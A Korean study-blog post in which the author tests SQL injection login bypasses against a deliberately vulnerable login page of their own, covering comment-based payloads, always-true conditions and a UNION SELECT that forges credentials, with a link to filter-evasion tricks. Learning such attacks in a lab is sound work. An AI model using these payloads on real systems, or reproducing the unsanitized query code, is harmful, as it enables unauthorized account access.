(1) 식별/인증 동시
내가 개발한 웹 페이지는 SQL 실행 한 번에 식별과 인증을 동시에 한다.
select * from login where login_id='$username' and login_pw='$userpass';
조건의 변수(login_id, login_pw)들은 모두 싱글 쿼터(')로 묶여있다
① ID 칸에 'or 1=1#을 입력했다(Password에 입력해도 같은 원리로 동작한다)

그러면 SQL문에는 이런 식으로 입력이 들어간다.
select * from login where login_id=''or 1=1#' and login_pw='$userpass';
or 1=1 로 결과는 항상 True이고, # 뒤는 전부 주석처리되어 비밀번호 입력이 무효화되었다.
비밀번호는 아무거나 입력해도 로그인 될 것이다.

로그인 성공
② ID 칸에 admin'# 입력 (아이디 뒤에 '#)

password를 주석처리한다
select * from login where login_id='admin'#' and login_pw='$userpass';
다른 id로 해도 마찬가지

③ ID칸에 admin'-- 입력(-- 뒤에 띄어쓰기)

-- 뒤부터 주석처리 되면서 로그인 성공
select * from login where login_id='admin'-- ' and login_pw='$userpass';
④ Password에 ' or '1'='1 입력

select * from login where login_id='admin' and login_pw='' or'1'='1';
비밀번호가 '' 또는 '1'='1' 중 하나만 참이어도 login이 된다
(2) 식별/인증 분리
logindb.php 수정

select login_id, login_pw, name from login where login_id='$user_id';
① ID에 x' union select 'test','1234','Tester Password에 1234 입력
UNION 연산자는 2개 이상의 select문의 결과를 결합하는데 사용한다.
UNION을 이용한 SQL injection을 하기 위해서는 쿼리문이 조회하는 select 컬럼 개수와 union select에서 요청하는 컬럼 개수가 같아야한다.

로그인 성공

메인 화면

구글링 해보니 로그인 로직에 해시 함수를 사용한 식별과 개행을 사용한 식별도 있는 것 같다. 이 부분에 대해서 공부를 더 해야겠다
** 참고 링크
https://g-idler.tistory.com/61
[SQL Injection] 필터링 우회 방법 모음
1. 공백 문자 우회 1) Line Feed (\n) - 커서(캐럿)를 다음 줄(현재 위치에서 바로 아래줄)로 이동시키는 개행 문자 - URL Encoding: %0a - ex) no=1%0aor%0aid='admin' 2) Tab (\t) - 커서를 한 tab만큼 이동시키..
g-idler.tistory.com
'Web Hacking Study > 웹해킹' 카테고리의 다른 글
| XSS(Cross Site Scripting) (0) | 2022.04.21 |
|---|---|
| Ubuntu 20.04 한글 입력 설정하기 (0) | 2022.04.20 |
| 로그인 로직 케이스별 SQL Injection 인증 우회 (+해시, 개행) (0) | 2022.04.13 |
| 해시(md5) 적용하기 (0) | 2022.04.11 |
| 해시 정리 (0) | 2022.04.06 |
댓글